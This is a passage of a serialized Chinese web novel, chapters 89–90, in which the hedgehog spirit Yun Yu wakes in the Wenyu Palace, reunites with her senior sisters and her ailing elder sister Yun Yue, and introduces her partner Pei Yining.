剑法阁与其她峰阁的人则是将打斗范围往外拉,以免剑法波及到刚从阵法出来的人。 裴依宁等人除却灵力消耗过多,并未受多少伤。 云榆在她们强行撕开阵法时承担保护其她师姐妹的任务,深深浅浅的伤口带着零碎陷入其中的衣衫,看上去触目惊心。 她视线模糊地望向四周聚集来的人,没能看见思念已久的面孔。 姐姐没来吗?在阵法中,听见的姐姐的声音,是她的幻觉吗? 可师姐也听见了啊。 在云榆精神垮掉的前一秒,问亦云搀扶着身体越发虚幻的云樾靠近:“星星。” 云榆朝她伸伸手,眼眶蓄满雾气:“姐姐,他们趁你不在欺负我……” 作者有话说: 星星: 之前欠的字数,先还一千。因为我发现又欠了一些 再不还,就要完结了 第89章 第八十九章[VIP] 压着的筋脉连着骨的疼, 云榆醒来时,脑海中第一时间传递出她昏迷前的景象,兵荒马乱中,熟悉的, 陌生的面容一一探过来。 “姐姐。”云榆低喃地支起身体, 睁眼时,没能适应猝然而亮的光线, 她下意识地喊依赖的人, “师姐?” 这里显然不是明越宗的任何地方,放眼处, 皆是白玉铸造而成的墙壁,桌案, 靠近床边的一处横墙处,摆着一尊白玉瓷瓶,内里插着几株云榆不曾见过的花枝。 在一片白意中点缀上鲜活的色彩。 虽举目皆是白,却不显得怪异,恐慌, 反而井井有条, 颇有种无言隐秘的奢靡。 这种奢靡万不会出现在剑法阁, 即便是灵丹堂内, 她也少见这般大规模的, 整间殿宇都呈现出华丽的景象。 醒时周遭无一人, 云榆支起身体,记忆中的疼痛让她撑着起身的手臂一软, 跌了回去。 脊背陷入床下, 云榆没心思多想,再要撑起, 可身体像是被钉在原地,下方有股牵扯力将她往下拉。 该不会进入到幻境中了吧。云榆想。 她调动灵力要将身体拽出来,可运转一圈,无事发生。 云榆不可置信的内视灵海,晦暗无光的灵珠静静地悬浮在空荡荡的灵海内。余下的微弱灵力软软地触在底部,调动不得。 再一低头,小小的身体映入眼帘。 她现在是本体,根本不是什么人形。起不来是因为跌下去时,脊背上的刺竖起,嵌入床中。 小刺猬嘴角抽动,让刺变得柔软,随后卯足了劲地往旁边转动身体,将刺拔出。 体内的灵力不足以让她化为人形。 小刺猬绝望地闭上眼,她连传音所需的灵力都没了。 但她分明记得,昏迷前最后看见的是姐姐,姐姐还喊了她的名字。小刺猬环顾四周,一个大胆的想法蹿入脑中。 这里莫不是问玉宫。 验证她猜测般,殿宇的门被打开,隔着玉雕的屏风,隐约可见一道朦胧的身影入内。 是冉寻。 冉寻端着一方玉质方盒,盒盖开启,内里的玉盘内呈着一枚漆黑圆润的丹药。 在一片白中,格外惹眼的反差色。 小刺猬盯着同样漆黑的眸子,一瞬不瞬地对上来人,她往冉寻身后望去。 冉寻身后没有别人。 “您醒了,”冉寻将玉盒放到一边,素手点上小刺猬的额头,小刺猬本能的偏过头,冉寻落了个空,指尖悬停半秒,只当无所觉地收回,“宫主命我前来探看您的身体情况,这是疗愈类丹药,您记得吃,有事情可随时喊我。”她顿了下,自我介绍,“唤我冉寻即可。” 小刺猬稀里糊涂地听她说了大段,除却印证此处是问玉宫外,别的消息一点没得到。 她急急地翻身,骨头还是软的:“我师姐她们呢,还有,”小刺猬迟疑地咽了下,爪子无意识地勾住床单,眼有希冀地问,“我姐姐呢,她们怎么都不在?” 在阵法中,师姐她们耗费了大量灵力,莫不是和她一样在某处安养,又或者姐姐并不知道师姐和她的关系,只带了她一只妖过来。 师姐回明越宗了吗?那她岂不是不能立刻知晓师姐的情况了。 冉寻:“您的三位师姐在另一处修养,她们并未受伤,只是灵力消耗过大,在调理中,您若是想见,我可以带您前往。” 小刺猬闻言稍稍放心,但冉寻没有回答有关姐姐的问题,她不免追问:“姐姐呢,她为什么没有来看我?” 冉寻这次沉默的时间有些长,在小刺猬快要等不下去的时候才开口:“苍焰宗和布阵的那些人还未处理,您的姐姐与宫主正在处理这些事。会晚几日来看您。” “好吧。” 这是问玉宫的职责所在,小刺猬虽遗憾但也不能无理取闹,小爪子抓起玉盒内的丹药,填入口中。 丹药入口即化,形成暖流在身体内穿行,干涸贫瘠的灵海得到温养,暗淡无光的灵珠以肉眼可见的速度缓而慢地运转。 咽下丹药的小刺猬眼巴巴地王望向冉寻,脸颊两侧的柔软微弱地抖动起来,她在冉寻的注视下,双爪扒在床面,下肢晃荡着抓住床边玉雕的凹凸处,四肢并用地往下爬。 冉寻要去接她,被小刺猬拒绝了:“我自己能下来的,你现在带我去找师姐,可以吗?” 适应了会身体,正常的走动和跑动都可以。 冉寻半蹲下身,伸出手臂,示意小刺猬可以趴在上面,小刺猬只是扯着唇笑了笑,依旧拒绝:“我可以走过去,我身体没那么差劲。” 许是猜到小刺猬并不想与她有接触,冉寻拿过原本装丹药的玉盒,举到小刺猬身前,温声道:“您可以进入这里。宫主和云樾阁下让我照顾您,自是不希望你再遇见任何状况。这也是我的职责所在。” 话已经说到这,小刺猬慢吞吞地趴入玉盒中,玉盒不深不浅,她进去,只能露出一个小脑袋出来。 小刺猬双爪扒着玉盒边缘,瞳孔中的场景不断变化,唯一不变的是随处可见的白。 她先前也曾钻入类似的药盒中,被裴师姐托着,在灵丹堂内走动。 那时的她还不知道裴依宁的身份,将其当做是灵丹堂新入的弟子。 小刺猬怀恋地轻拍玉盒边缘,冉寻感知到动静,脚步一顿。 路过假山石水,穿过悠长的爬满花枝的长廊,在长廊尽头处转过弯,途经一片空地,数只不知名的鸟雀养在其中。 那些鸟雀看见她们,慢悠悠地绕向它处。 小刺猬的视线追随着一只看了几秒,默默地收回目光。 “这里是您三位师姐暂居的地方。”冉寻蹲下身,小心翼翼地将玉盒放到地面,等小刺猬从中钻出后,将玉盒收起,前两步上前,曲指敲了几下大开的殿门。 小刺猬四肢跑动,站在殿前门槛上,视线中出现模糊的虚影。贤朱负 她被人捞起。 嗅闻到充斥在鼻息间淡雅的药香气,小刺猬推拒的举动收回,安心地靠在女人的怀中,亲昵地蹭了蹭:“师姐。” 裴依宁仔仔细细地将她检查了遍,纤长手指点在小刺猬的额头,小刺猬迎着女人的手指,乖巧地垂下头颅。 裴依宁:“什么时候醒的?” 小刺猬:“刚醒。”她邀功请赏地,“一醒就过来找师姐了。”她抬起头,双爪抱住裴依宁的脖颈,“师姐呢?” 裴依宁:“前两日。” 与小刺猬说了几句话,裴依宁看向站在一旁,毫无存在感的人,点头示意:“多谢你这几日对星星的照顾。” 冉寻躬身:“职责所在,裴小友不用客气。” 原以诗和风浅念与冉寻寒暄了几句后,冉寻主动寻了借口离去,没再打扰明越宗的这四人。 从破阵到在问玉宫的这几日,她们只见到过冉寻,除此之外,便是再也没看见问玉宫内任何一人。 问亦云和那位自称云榆姐姐的人也没有出现过。 裴依宁抱着小刺猬进入殿内,风浅念给落座的几人倒上茶水。 小刺猬出了阵法就昏迷过去,不知道后续发生了什么,她们怎么到的问玉宫,以及,她的姐姐当时是否出现在阵法外。 在冉寻面前防备未问的问题,在三位师姐面前如竹筒倒豆子般一股脑地全部问了出来。 原以诗和风浅念的视线落到裴依宁身上,后者逗弄着小刺猬,指腹不时戳上小刺猬柔软的脸颊,抚上小刺猬的小肚子。 小刺猬抱住裴依宁的手:“师姐?” 裴依宁只好停手,她眉梢抬起,对上小刺猬急切的眼神,很轻地在心底叹息一声,挑着话地说:“问玉宫由灵玉打造而成,温养之力充沛,从阵法内出来后,我们几人或多或少出现灵力枯竭的状况,为更好的恢复,问玉宫宫主便邀请我们到此疗养。” 在她们出来后不久,苍焰宗和布阵之人全数被拿下,明越宗的人当即要带她们回宗,却被问亦云拦住,以问玉宫拥有更好的疗愈场所将几人带到这里。 而在将她们安排好住处后,问亦云匆匆离去。她们当时体力不支,接二连三地昏迷,是以没来得及多问什么。 不得不承认,这里的温养之力的确过于充沛,等前两日三人陆续醒来时,她们的灵力已恢复大半。 而在醒来的第一时间,裴依宁便是唤来了冉寻,希望能去见云榆。 而冉寻以云榆尚未苏醒,云榆的姐姐身边照顾的理由回绝了裴依宁的请求。 裴依宁就算再有心,也无力将云榆强要过来,况且云榆还在昏迷中。 裴依宁道:“当日你姐姐的确出现在了阵法外,她是与问宫主一同前来的。” 女人捧起茶杯,押了口茶水,掩去一部分内容。 那时云樾的状态很不对,身体虚幻的犹如半透明的影子,被问宫主搀扶着。回到问玉宫后,云樾的身体渐渐凝结成实体,只是脸色依旧不好看,苍白到毫无血色,弱不禁风地走两步路都摇摇欲坠地要跌倒。 一瞬间,裴依宁好似明白云樾不肯见云榆的原因。 是怕云榆担心。 这一结论在问亦云单独带她们到这座宫殿时得到证实。 姿容明艳,一身红衣的问宫主走在前方,清浅的声线自前方传来,更像是对裴依宁和她们的提醒:“云榆姐姐身体不好,在她主动见云榆前,还请三位不要在云榆面前乱说什么。” 问亦云将云榆带到问玉宫,恐怕也有部分这个原因,当时荒凉古地外集结了众多明越宗弟子,看见问亦云和她身边那位虚弱女子的亦是不少。 一旦云榆回到明越宗,势必会有人询问当日与问宫主一同前来的人。稍一思索,云榆便能得到答案。 但云榆总是要回宗的,除非问亦云打算将她们困在这一辈子,或是等云樾彻底养好,出现在云榆面前。 凭借丹修的直觉,云樾的身体不是一朝一夕能恢复的。 碍于这里是问玉宫,裴依宁三人醒后的两日,为免暗处有耳朵,重要的事皆是通过相互传音。 这不是长久之计。 小刺猬眸色晶亮,如初生刚见世间美好的小兽,眼底的笑容载满溢出,她小爪子握拳,骄傲地道:“我姐姐是不是特别好看,特别温柔。” 在小刺猬的认知中,在从那里回到问玉宫的路途中,云樾定然会与裴依宁等人交谈。 可她不知道,当时的云樾虚弱到说不出话来,只有在回到问玉宫后,方才恢复些许力气,抚摸上在裴依宁怀中化成小刺猬的小妖,喃喃地:“好小一只。” 茶杯被活蹦乱跳的小刺猬掀翻,淅淅沥沥的茶水蜿蜒着顺着玉桌流淌,没入桌面雕刻的孔洞,积攒着形成小雨滴落入地面。 思绪被清脆的碰撞声抽回。 小刺猬手忙脚乱地从空间储物中拿出手帕,脸红地擦拭桌上的水渍。 玉雕的花纹饰物在此刻显得多余,离得近的裴依宁腿上衣衫被打湿,她带着椅子往后退了几步,指骨敲了两下桌面,水渍被蒸发殆尽。 腿上的凉意亦是被蒸发。 一声轻笑。 风浅念支起手肘撑在侧脸,五官温柔和煦,她轻笑出声:“云师妹好可爱。” 上次被风师姐夸可爱,回去后被裴师姐缠着哄了好久,今日再被说可爱,某只小妖即使再骄傲,也垂着脸,硬压住唇角,不在意地挥挥爪子:“风师姐过誉,我就一般般可爱。” 风浅念笑意更甚。 原以诗拨弄着两枚透明状的圆片,是寻找卞凝等人时用的那两片,此刻被她灵活地在五指中转动。 余光瞥见这幕的小刺猬忍不住尝试,小爪子虚虚地握成拳,学着原以诗的样子动动爪子。 她并没有用实物演练。 裴依宁顺着小刺猬的视线看去方才知晓她在做什么。女人轻轻压住小刺猬的爪子,温和的灵力注入小刺猬身体,巡查四肢百骸,筋骨灵海。 原以诗收起两枚圆片,扣在水面上:“如今我们恢复得差不多了,何时离开这里,回到明越宗。” 长久地被限制在这,绕是原以诗不喜走动的性子也有些受不了。 闭关不出与被动的被限制是两回事。 风浅念挑开她的掌,从下方抽出那两枚圆片,学着原以诗的方式转动,还没过一转,圆片从她指缝中掉落。 她弯身去捡。 小刺猬圈住裴依宁,爬到惯常趴着的肩膀处,身体压下,怯懦地:“我还没见到姐姐。” 原以诗掀起眼眸看她,风浅念将捡起的圆片丢回给原以诗,双手交叠地如乖学生般:“这里环境不错,若是能在周围走动走动也好,左不过这几日见到问宫主,再询问她打算何时让我们出去。” 她们扩散出,用于探查问玉宫大小和方位的灵识被切断,阻隔,弹回。 裴依宁揉着小刺猬的脑袋:“是,星星还没见到姐姐,等星星见到姐姐,我们再离开,”说罢,她望向对面的两人,“今日冉寻已经出现,等会她再来时,问问她能否让你们出去。若是不能,我们再另想对策。再如何,我们是明越宗的人,问玉宫束缚不到我们。” 一个时辰后,冉寻过来接小刺猬回去。 小刺猬不想和师姐分开,她抱住师姐的脖颈,侧脸贴在裴依宁的肌肤处,赖在女人身上:“我不回去,我与师姐是道侣,理应住在一起。” 冉寻:“这是宫主的命令,我做不了主,还请您别让我为难。” 裴依宁轻轻压住小刺猬的脑袋:“阁下,我们想见问宫主一面。我们以客人的身份前来,总要亲自感谢主人的邀请以及这几日问玉宫对我们的照顾。而且,我们还有一些问题想要询问问宫主。” 冉寻视线滑过小刺猬,警惕地定在裴依宁身上:“阁下想问什么问题,兴许在下能代为回答。” 裴依宁翘唇,坚定地:“我们要见问宫主。” 冉寻踌躇,半晌后,她拱手一礼:“还请各位稍等片刻,我去向宫主转达各位的意愿。” “麻烦了。” 小刺猬茫然地蹿回到裴依宁肩膀上。师姐和冉寻的话听得她云里雾里的。 问宫主不愿见她们,还不愿意放她们离去。 姐姐知道这事吗? 先前听原师姐和风师姐的意思,她们出行范围并不大,似乎是被限制。 小刺猬拉拉裴依宁的耳朵,小脑袋凑过去:“师姐,在我昏迷时,是不是发生了什么事?” 裴依宁:“没有,星星别多想。我只是有几句话想单独和问宫主说而已。” 小刺猬:“哦。” 一炷香后,冉寻回来了。 只她一人。 冉寻拱手:“宫主片刻就来,几位可进入殿内等待。” 小刺猬从裴依宁身上跳下,直起身,但她的个子属实太矮,站在下面,稍不注意就把她当成球,一脚踹开了。 小刺猬默默顺着裴依宁的腿往上趴,然后被女人抱在怀中。 这个高度差不多了。 如冉寻所言,片刻后,轻盈的身形晃入几人的视线范围。 冉寻在看见出现的人时,眼神凝住半秒,她躲避似得下头,后退着离开。 小刺猬瞳孔中挤入红色身影,她不可置信地望向来人的面孔。 那张明艳端庄的五官凝着浓重的疲惫,脖颈处零零散散的分布着深浅不一的,将愈不愈的伤口。 问宫主这是受伤了。 没能她仔细看去,她的脸被人捂住,别向另一边。 裴依宁等人:“问宫主。” 问亦云长指一点,数只玉刻成的圆椅缓缓升起,她不客气地坐上其中一只,料想到这是场耗费时间和精力的对话,她双腿交叠,漫不经心地扫过躲在裴依宁怀中的小刺猬,眼神错开:“不必拘礼,把这当成自己的家,坐便是。” 等人都落座了,问亦云对着小刺猬招招手:“快来,让姐姐看看。” 问亦云双手伸开,一副要抱她的样子,小刺猬身体僵硬,木木地从裴依宁身上跳下,四肢并用地来到红衣女人身前。 女人弯身将她举起:“你姐姐化成本体时,要比你大上一圈。”她将小刺猬放到腿上,似乎在透过小刺猬看别物的样子,半晌后,她弯下眉眼,明艳张扬的五官自带棱角,“你比她可爱。” 听她提起姐姐,小刺猬刹那间忘记紧张:“姐姐她还没忙好吗?” 问亦云一根手指拉起小刺猬的爪子:“忙好了,等你的三位师姐问好问题,我带你去见姐姐。” “好耶。”小刺猬兴奋地举起爪子,整只妖焕发生机,她扭头,“师姐,你们快问。” 裴依宁和原以诗,风浅念两人对视一眼。 云樾的身体养好了? 但这个问题暂时不能问。 原以诗:“多谢问宫主收留我们在此疗伤,如今我们灵力已经恢复,明越宗内诸多事宜,峰阁内的各种事项,恐在外逗留太久,影响宗门正常运转,更担心在此长久,会给问玉宫造成不便。” 问亦云直白地:“离开吗?当然可以,不过还请几位在这里再多住几日。” 风浅念微笑:“具体几日呢?” 问亦云想了想:“半个月。”她补充,“前两日你们刚醒,身体还没恢复,冒然外出,恐有意外发生,才将你们限制在这里。而今你们身体既然已经恢复,便不用担心这些了。除却个别几座殿宇,问玉宫随你们走动。” 冠冕堂皇的话一套接一套,偏偏现在是在对方的地盘内,她们态度不能太强硬。 风浅念轻轻按住原以诗,笑着回问亦云:“那便先提前谢谢问宫主了。” 问亦云:“各位还有什么事吗?” 裴依宁起身:“问宫主,可否移步说话。” 问亦云挑眉,放开小刺猬:“可以。” 一处僻静的树枝丛中,女人摘下一枚鲜红的花朵,皙白的手指按在脖颈的肌肤上,挤出几滴红艳的汁液,晕在那些深浅不一的伤口处。 问亦云柔软的腰肢靠在树枝处:“要问点什么呢?” 裴依宁视线定在问亦云的伤口处,那处伤口太新鲜了,似是刚划开的。 可有谁能伤到问宫主呢。 裴依宁抛弃这点好奇:“我想知道云榆姐姐的身体如何了?我或许可以尝试医治。” 那朵花从问亦云指尖落下,零落在地,她低低地笑出声。 与平日在外时给人的印象截然不同,多了点鲜活气和生机,就连眉宇间的那点疲乏都散去许多。 “裴依宁?”问亦云唤了声女人的名字,她转身往回走,“云樾的身体唯有靠问玉宫的灵玉温养。因此,她不能踏出问玉宫半步。否则,便会如那日你们所见。” 那日的外出,使得云樾多年的调理差点毁于一旦。 “我告诉你,是希望你能在云榆面前多加掩饰。她姐姐暂时不想让她知道这件事。至少在云榆完全恢复前,不能知道这件事。” “等会我会带你和云榆一同去见她,她也想见见你。” 作者有话说: 第90章 第九十章[VIP] 小刺猬被风浅念放在一方玉椅上, 笑容温润的女人轻轻捏住小妖脊背的软刺,全然放松下,顺着软刺服帖的方向顺去,并不会扎手。 小刺猬目光灼灼地望向裴依宁和问亦云离去的方向, 小爪子不时向前伸几次。 风浅念看得新奇, 食指勾勾小刺猬的爪子,眉宇间尽是可见的温柔:“云师妹, 能让我揉揉你的耳朵吗?” 小刺猬脑袋往风浅念身边歪了些, 将耳朵递到风浅念的手边。 她的身体跟随风浅念揉动的动作不时晃动。 裴依宁回来时,看见的便是小刺猬顺从地被风浅念揉来揉去, 细看之下,甚至还有几分……享受。 她眸色暗下, 脚步不觉间增快了几分。 瞳孔中出现熟悉的身形,小刺猬顾不得被揉动的耳朵,四肢并用地往裴依宁怀中钻去。 指下落了空,风浅念莞尔,起身。 裴依宁托起某个算不得乖巧的小刺猬, 将其提到弯曲的小臂处, 对着风浅念和原以诗稍一点头, 后者随之起身。 身为此处主人的问亦云慢条斯理地从拐角处走出, 她的步子慢悠悠的, 整个人显出一种难以言喻的轻松。 脖颈上的伤口尽数消失, 光洁如玉般顺滑。 小刺猬提起小脑袋,无声地询问裴依宁, 是否方才去为问亦云治疗了。 裴依宁按下她的头, 传音与原以诗和风浅念,将她要与小刺猬一同去见云樾的事情说过。 等问亦云走到她们附近, 三人已交流完毕。 既来之则安之,既然问亦云半个月后才肯放她们离开,这半个月就当是在问玉宫游玩了。 问亦云解开了她们出行限制。 红衣女人轻飘飘地落座而下,葱白的五指托着下巴,在一众站起的人中格格不入。她好以整暇地掀起眼帘,流水般的墨色长发随意束在身后。 她眼神在几人身上扫过。裴依宁她们传音时引起的轻微灵力波动自是被她察觉到了。 她神色淡淡,眉眼间张扬的凌厉越发浓重:“各位还有什么要问的吗?我现在可以尽数为各位解答。” 原以诗道:“多谢宫主,我们暂时没有别的问题了。” 问亦云勾起唇,并不给人亲近感:“好,若是几位有需要,可随时传音于我,或是冉寻等问玉宫人也可。” 从裴依宁她们进入问玉宫,见到的不过问亦云和冉寻两人而已,至于其她问玉宫人,连个影子都不曾摸到。 许是猜到她们的想法,问亦云道:“前几日各位身体不便,问玉宫人生怕扰到几位清静,避开了此处。” 原以诗道了谢。 见她们没有别的疑问,问亦云双手放在大腿上,起身,手顺着腿垂下滑到两侧。 要去见姐姐了。小刺猬漆黑的瞳孔中溢出光亮,爪子紧紧抱住裴依宁小臂,掩饰紧张与期待。 她与姐姐已经数年未见,若是没有这次意外,她或许还要等很长时间才能见到姐姐。 她想问姐姐当初为何一去不复返,往后的几年为何不给她传递消息,知晓她在明越宗为什么宁愿托问亦云带话也不愿意亲自前来,又为什么,先前拒绝她和师姐的到来。 凡此种种,小刺猬在脑中一遍遍地过着,一遍遍的想着。显竹夫 不知不觉中,她感知到抱着她走动的人停下,小刺猬回过神。 眼前景色变了样,各色花束竞相开放,浓郁的花香铺天盖地的袭来,巨大的玉墙上,是一幅巨大的山水画,与玉墙上雕刻的松柏青枝相得映彰,浑然天生。 若非认得这是姐姐最喜欢的画风,小刺猬断然无法在见姐心切的时候将注意力放在上面。 裴依宁视线凝在这块玉墙上,无论是上方的雕刻还是画面,都给人气势磅礴之感。 “这里的玉雕和画,都是出自你姐姐之手,”问亦云负手而立,谈及此时,唇角的笑容不再是应付客套的敷衍,她指了指画面中宛如真实流动的水,“她的心思总是放在这种文文艺艺的东西上面。” 不知为何,小刺猬从中听出几分幽怨和无可奈何的意味。就像是不喜欢但却不得不做般。 但她没心思分析这些,小刺猬依依不舍地收回目光:“我姐姐呢?” 她要见姐姐,这些山水画,玉雕,都不急,等见到姐姐再看便是。 小刺猬两只爪子扣在一起:“她没出来吗?” 问亦云转身,示意裴依宁带着小刺猬跟上,她两指弯曲并拢,在紧闭的殿门前敲了三下。 随后,她推开门。 里面布局讲究,整体依旧是以白玉为主,踏入其中,身体不自觉地涌起一股暖流,很是舒服。 这里的灵玉疗愈作用远甚其它殿宇。 一抹白色的身影自玉雕屏风后而出,飘渺如一阵风刮过,轻盈地落入小妖眼中。 裴依宁的目光自觉移过去。 女人桃花眼下点着一颗泪痣,五官并不浓重,鼻梁走势带着些许折度,额头饱满,每一根线条都极为适度漂亮,看上去有些纤薄。 但并不给人柔弱感。 “星星。”轻缓的语调如春风拂过的河面,荡漾起浅浅的涟漪。 怀中小妖一动不动,不言不语的,颇不符合原先的激动,裴依宁不禁垂眼。 预想中的问题在见到心心念念的姐姐时,变为一片空白,只余下无尽的委屈。小刺猬鼻头耸动,在裴依宁怀中转过身,用脊背对着白衣飘飘的女人。 她一个劲地往裴依宁怀中钻,面对身后人的呼唤置之不理。 是在委屈,是在有底气的委屈。 小刺猬心口酸酸涨涨,脸颊在裴依宁衣衫上蹭了又蹭。 有水湿润了衣衫,裴依宁:“星星?” 小刺猬吸吸鼻子,不搭话。 “星星,”云樾声音越发柔和,她微微弯下腰,凑近躲在别人怀中的小刺猬,眼底柔软,“星星,是姐姐。” 小刺猬还是不理她,只是身体抖动的频率快了几分,静谧的空间中依稀响起带着哭腔的抽泣声。 无法克制的哭泣声。 裴依宁将小刺猬往上抬了点,她懂她此刻的心情,温声安抚:“星星,乖。”她指腹从下钻入,揉在小刺猬的脸颊上,触手一片湿润。 问亦云犹如一个外人般,看着她们哄小刺猬,尤其是云樾,这一刻的温柔和顺是在问玉宫的这么多年,她从未见过的。 云樾甚至吝啬于一个多余的表情给她,却可以在这里温声细语地哄小刺猬。 她说不上什么心情,只觉得自己也有些委屈了。 她理智地没有靠近,双手环抱,靠在玉柱上,望着这一刻不属于她的温馨。 好不容易哄得小刺猬肯转回身面对数年未见的亲人,裴依宁主动将小刺猬递过去,她斟酌着语气:“云姐姐。” 云樾多看了她两眼,弯弯唇,便是回应。 将小刺猬抱在怀中,云樾微微蹙眉,指腹抚摸在小刺猬红润的眼眶上,红唇轻抿,带着唇角的那颗痣扯动:“怎么这么小?” 小刺猬还有些哽咽:“姐姐不要我了。” 云樾呼吸一窒,抬眼扫了眼不远处的红衣女人,睫毛轻盈地扇动,下眼睑处那一小片浅浅的投影游移没有定点:“要你。” 想起这个,小刺猬满腔不解。听着姐姐的声音,被姐姐抱在怀中,似乎回到了小时候可以肆意撒娇的时刻。 她可以傲娇,可以耍小性子,可以背着姐姐偷偷出去玩,可以偷懒…… “对不起,姐姐有些事,一时半会没能回去找你,是姐姐的错,星星别生气,姐姐随你责罚,好不好?”云樾温软地顺小刺猬的刺,她不动声色地后退几步,腰身靠在后方的玉桌上,分担身体的承受。 她脸色白了一分,手背上青紫色的纹路清晰可见。 她额头轻抵在小刺猬的额头,避开那一瞬间精神的不对,等那股感受泄去,她重新与小刺猬面对面。 裴依宁敏锐地捕捉到云樾那一刻气息的衰弱,她细细看去。 白衣女人的脸色与那日在阵法前好了许多,可若是仔细探查,内里还没调节好。 小刺猬如今灵力枯竭,对这些感知力极弱,自是无法察觉这些。加之每次脸色不对前,云樾都会将小刺猬提起,近距离贴着,以至于小刺猬根本无法发现云樾的不正常。 云樾还在耐心地哄某只尚有小脾气的小刺猬:“星星,理理姐姐,不生气了,嗯?” 小刺猬:“哼。” 云樾唇边绽放出笑意:“好啦,姐姐给你道歉,再不接受,小心被别人知道,叫你小气刺猬哦。” 小刺猬:“笨蛋云樾。” 云樾顺着她,抚在玉桌上的指绷着,骨节出蔓延出细小的筋脉:“嗯嗯嗯,是。星星愿意原谅笨蛋姐姐吗?” 小刺猬:“哦。” 便是原谅了,云樾无声地笑了笑,有些支撑不住地滑坐在玉椅上,额角有冷汗渗出。 她不着痕迹地擦去,与完全哄好的小刺猬聊天。 小刺猬瘪瘪嘴,捡起姐姐走后的时候:“笨蛋云樾,你走后,星星带领家妖们挺过了那几年干旱,星星早已可以独当一面了。” 小刺猬三言两语的带过那段时光,直到聊到入宗后,她五官乱飞,两只爪子不住地比划来比划去:“宗门的师姐妹们很照顾我,对我很好,教我剑法,给我灵石,还给我吃的。本星星和师姐就是因为吃的认识的。嘿嘿,其实就是我偷偷跑去膳食堂偷吃,机缘巧合认识了师姐。” “师姐手艺超级好,人也超级好。”不知不觉间,小刺猬将话题转向了站在姐姐不远处,眉眼低垂的女人身上,她在姐姐面前给裴依宁发下一张又一张的好人卡。 可云樾却是轻轻打断她:“为什么要去偷吃?” 小刺猬向来报喜不报忧,可从小刺猬的话语中,云樾拼拼凑凑,寻到特殊的点。 星星为什么能轻车熟路的去偷吃,是在未入宗的时候,就熟练了这种生存方式吗? 小刺猬怔愣了瞬。 “是这样的,姐姐,灵丹堂伙食的味道向来不错,各个峰阁的弟子时常组队过来,由于并不属于灵丹堂人,她们便将这种行为玩笑地称为偷吃。”裴依宁适时出声。 小刺猬一本正经地点头:“没错,就是这样。” 云樾沉默片刻:“原来是这样。” 小刺猬接着道:“姐姐,我告诉你哦,我可是把灵丹堂的大师姐收为小跟班了,再也不用去膳食堂偷吃了。由小跟班日日给我做好吃的食物。我还与师姐一同出宗历练,经历了好多。” 她越说越不好意思,越说声音越小,铺垫好所有后,小刺猬干咳两声,骄傲地:“然后,我就把师姐骗到了。” 她把师姐骗到了。 着重点在她,而非师姐。无疑是想让裴依宁在云樾心中的形象更好。 从而让云樾更加认同裴依宁。 姐姐是她唯一的亲人,她自然想得到姐姐完全的赞同。 说完后,小刺猬惴惴不安地对裴依宁挥挥爪子,裴依宁往前走两步。 小刺猬伸长爪子,还是够不到裴依宁的手,裴依宁抬手牵住她。 还是人形好,本体做这些都不方便。小刺猬想。 她晃晃与裴依宁牵在一起的爪子,难掩羞涩和幸福:“嗯……姐姐,我和裴师姐现在是道侣,我们已经在宗门的遇情石上刻下了名姓。” 先斩后奏,虽不知道那遇情石是什么,但都已经记下名姓了,云樾即使不赞同也改变不了。 她抬眼。 裴依宁躬身,任由白衣女人打量。 在道侣的亲人面前,饶是淡定如裴依宁,还是忍不住地紧张。 云樾给人的感觉与问亦云是两种截然不同的极端,问亦云可以很清晰地察觉到存在的危险。 但云樾,则是深藏不露,面上表情与真实想法不想匹配,无法从她细微的表情中寻得一二。 她看得过久了,小刺猬撒娇地拽住姐姐的衣服,晃晃悠悠地:“姐姐~” 云樾垂下眼看她:“现在就可以偏袒了吗?” 小刺猬被说的脸红,扭头时余光瞥见靠在玉柱上的人,眼珠子一转,扬起短短的脖颈,不服气地说:“切,姐姐不也一样。” “你和问姐姐结为道侣都不跟我说,我都主动向你坦白了。坏姐姐。”小刺猬一点点的控诉,“让问姐姐到明越宗,都不肯亲自过来看我,今天姐姐要是给不出让我满意的理由,我……我以后都不会理你了。就像你这些年,一点都不知道理我一样。” 她知道姐姐定然是有原因的,可她们是亲姐妹,什么原因能让姐姐数年不来找她。 小刺猬对这件事仍旧耿耿于怀。 “道侣?”云榆咀嚼着这两个字,“我和她?” 问亦云心中一紧,松垮的腰身顷刻间板直,曲起的一条腿直起,隐隐有要往前半步的趋势。弦著服 小刺猬点点头:“问姐姐救了我两次,一次是在明越宗比试台上,苍焰宗的人使阴招,问姐姐救了我,还有这次在阵法内,问姐姐通过灵识替我挡了好多次攻击。” 那是藏在问亦云给她的那块玉佩中的灵识,不可否认地,在危难关头帮了她很多,否则,她身上的伤远远比出阵法时还要严重。 说不定现在还没能清醒。 问亦云无形中松了口气,腰肢软软地靠回到玉柱上。 小刺猬好奇地:“姐姐和问姐姐什么时候结为的道侣?” 云樾:“……前段时间。”女人好看的眉抬起,淡淡地望向问亦云,薄唇轻启,“过来。” 问亦云听话地走过去,她半蹲在云樾腿边,低眉顺首。 小刺猬惊讶地望着这么听姐姐话的人,哪里还有半分在外的威严。 气氛在问亦云来后变得有几分古怪,裴依宁寻找着这种古怪的来源,但没能找到。 两人的关系,看上去很和谐。 “我妹妹,云榆,还没正式给你介绍过。”云樾语气淡了些许,她一字一顿地,“我亲妹妹。” 听出她话语中潜在的警告,问亦云抬手揉揉小刺猬的脑袋,云樾忍着将小刺猬从她掌心下拿出的心:“她本就小,再摸就更小了。” 问亦云淡笑着:“你妹妹,比你可爱多了。” 云樾没接话。 “星星,姐姐有话单独与你师姐说,可以吗?”云樾道。 小刺猬嘟嘴:“有什么是本星星不能听的。” 云樾故作无奈地叹息:“能听,星星说什么便是什么。”她被某只小刺猬提前道,“不过,姐姐与你师姐说话时,星星不准插话,知道吗?” 小刺猬点头。 裴依宁莫名觉得紧张,神经一瞬间紧绷,面对道侣家长的紧迫感,即使是见识许多的灵丹堂大师姐也会觉得紧张。 裴依宁:“姐姐请说。” 云樾微笑:“不用紧张,只是几个很简单的小问题。” 怎么会不紧张,裴依宁稳住心神。 云樾:“你会骗星星吗?” 裴依宁顿住,第一个问题,她便回答不上。她和小刺猬的相识就是从一场欺骗开始的,即使是善意的欺骗。 小刺猬:“师姐不会骗我。” 云樾点上她的唇:“方才是怎么答应姐姐的,一句话没过就犯了?” 小刺猬捂住嘴巴。 但这个话题算是过了,云樾紧跟着问:“若是星星不喜欢你,你会采取什么手段吗?例如,将她困在身边。” 问亦云抵了下鼻梁。 不等裴依宁答话,小刺猬又道:“姐姐,你问的问题不合理,我不可能不喜欢师姐。” 云樾:“星星。” 